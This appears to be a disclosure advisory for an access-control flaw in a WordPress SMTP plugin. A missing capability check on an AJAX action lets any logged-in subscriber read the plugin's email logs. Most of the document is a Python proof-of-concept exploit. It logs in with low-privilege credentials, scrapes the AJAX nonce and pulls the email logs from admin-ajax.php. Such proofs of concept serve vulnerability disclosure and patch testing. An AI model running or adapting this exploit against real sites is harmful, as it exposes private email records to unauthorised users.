The plugin does not have capability check in an AJAX action, allowing any logged in users, such as subscriber to view the Logs of the plugin

PoC

@author : 0xshdax (Rafshanzani Suhada) # @usage : python3 script.py http://localhost import requests, sys, re, json ## Setup here url = sys.argv[1] headers = { ‘Content-Type’: ‘application/x-www-form-urlencoded’ } username = ‘guest’ password = ‘guest’ regexnonce = r""ajaxNonce":"(.*?)(?:","currentMailer")" ## def loginWP(username, password, url): global regexnonce session = requests.Session() cookies = { ‘wordpress_test_cookie’ : ‘WP+Cookie+check’ } data = { ‘log’ : username, ‘pwd’ : password, ‘wp-submit’ : ‘Login’, ‘redirect_to’ : url + ‘/wp-admin/’, ‘testcookie’ : 1 } response = session.post(url + ‘/wp-login.php’, cookies=cookies, data=data) responses = response.text findnonce = re.findall(regexnonce,responses) if not findnonce: print(‘[ * ] Nonce not found or invalid credentials. Please check again!’) exit() else: print(‘[ * ] Success get nonce!’) datalog = ‘action=yaysmtp_email_logs&nonce;=’ + findnonce[0] + ‘&params;[page]=1&params;[limit]=10’ getlogsmtp = session.post(url + ‘/wp-admin/admin-ajax.php’, headers=headers, data=datalog) prettyjson = json.loads(getlogsmtp.text) print(json.dumps(prettyjson, indent=4)) print(‘[ * ] Trying to login user!’) getnonce = loginWP(username, password, url)